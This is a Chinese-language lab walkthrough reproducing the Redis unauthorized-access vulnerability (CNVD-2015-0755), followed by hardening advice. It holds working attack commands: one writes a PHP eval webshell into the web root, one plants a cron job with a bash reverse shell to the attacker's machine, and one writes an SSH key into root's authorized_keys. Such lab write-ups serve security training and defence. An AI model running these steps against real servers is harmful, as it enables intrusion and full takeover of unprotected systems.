redis未授权访问-cnvd 2015-0755漏洞复现
字数 1111 2025-08-11 08:35:36
Redis未授权访问漏洞(CNVD-2015-0755)复现指南
漏洞概述
Redis未授权访问漏洞是指Redis服务在默认配置下,未设置密码认证,导致攻击者可以直接连接到Redis服务并执行任意命令。该漏洞被收录为CNVD-2015-0755。
漏洞原理
Redis默认监听在6379端口,且默认配置无认证机制。当Redis服务暴露在公网或内网中,攻击者可以:
- 直接连接Redis服务
- 执行任意Redis命令
- 通过Redis的持久化功能写入恶意文件
- 获取服务器敏感信息或直接获取服务器权限
实验环境
- 目标机器:CentOS7 + Apache + Redis,IP地址:10.1.1.200
- 攻击机器:Kali Linux,IP地址:10.1.1.100
漏洞检测
- 使用nmap扫描目标机器开放端口:
nmap -sV -p- -T4 10.1.1.200 - 确认Redis服务运行在6379端口
- 使用redis-cli测试连接:
redis-cli -h 10.1.1.200 -p 6379 - 执行
ping命令,若返回PONG则存在未授权访问漏洞
漏洞利用方式
方式一:写入Webshell
前提条件:
- 知道网站根目录绝对路径
- 对目标网站根目录有写入权限
攻击步骤:
- 信息收集获取网站根目录(如通过phpinfo.php泄露信息)
- 安装redis-cli工具:
apt install redis-tools # 或从源码安装 wget http://download.redis.io/releases/redis-6.0.3.tar.gz tar -zxvf redis-6.0.3.tar.gz cd redis-6.0 make cd src cp redis-cli /usr/bin - 连接Redis并写入Webshell:
redis-cli -h 10.1.1.200 -p 6379 config set dir /var/www/html # 设置网站根目录 config set dbfilename shell.php # 设置文件名 set x "<?php @eval($_POST['cmd']);?>" # 写入PHP代码 save # 保存 - 访问webshell:
http://10.1.1.200/shell.php - 使用webshell管理工具连接
方式二:写入定时任务反弹shell
攻击步骤:
- 连接Redis服务:
redis-cli -h 10.1.1.200 -p 6379 - 设置定时任务目录并写入反弹shell:
config set dir /var/spool/cron config set dbfilename root set xxx "\n\n*/1 * * * * /bin/bash -i>& /dev/tcp/攻击机IP/4433 0>&1\n\n" save - 在攻击机监听端口:
nc -lvvp 4433 - 等待定时任务执行获取反弹shell
方式三:写入SSH公钥
攻击步骤:
- 在攻击机生成SSH密钥对:
ssh-keygen -t rsa - 将公钥写入临时文件:
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt - 将公钥文件内容写入Redis:
cat /tmp/foo.txt | redis-cli -h 10.1.1.200 -p 6379 -x set m - 连接Redis设置SSH公钥文件:
redis-cli -h 10.1.1.200 -p 6379 config set dir /root/.ssh config set dbfilename "authorized_keys" save - 使用SSH私钥直接登录:
ssh root@10.1.1.200 -i /root/.ssh/id_rsa
关键Redis命令说明
config set dir [目录]:设置Redis持久化文件存储目录config set dbfilename [文件名]:设置持久化文件名set [键名] [值]:设置键值对save:手动触发持久化操作flushall:删除所有数据keys *:列出所有键del [键名]:删除指定键
防御措施
- 为Redis设置强密码认证:
# 在redis.conf中添加 requirepass 复杂密码 - 修改默认端口
- 限制访问IP(bind 127.0.0.1)
- 以低权限运行Redis服务
- 禁用高危命令:
rename-command FLUSHALL "" rename-command CONFIG "" rename-command EVAL "" - 定期更新Redis版本
总结
Redis未授权访问漏洞危害严重,攻击者可通过多种方式获取服务器权限。管理员应按照最小权限原则配置Redis服务,避免直接暴露在公网环境中。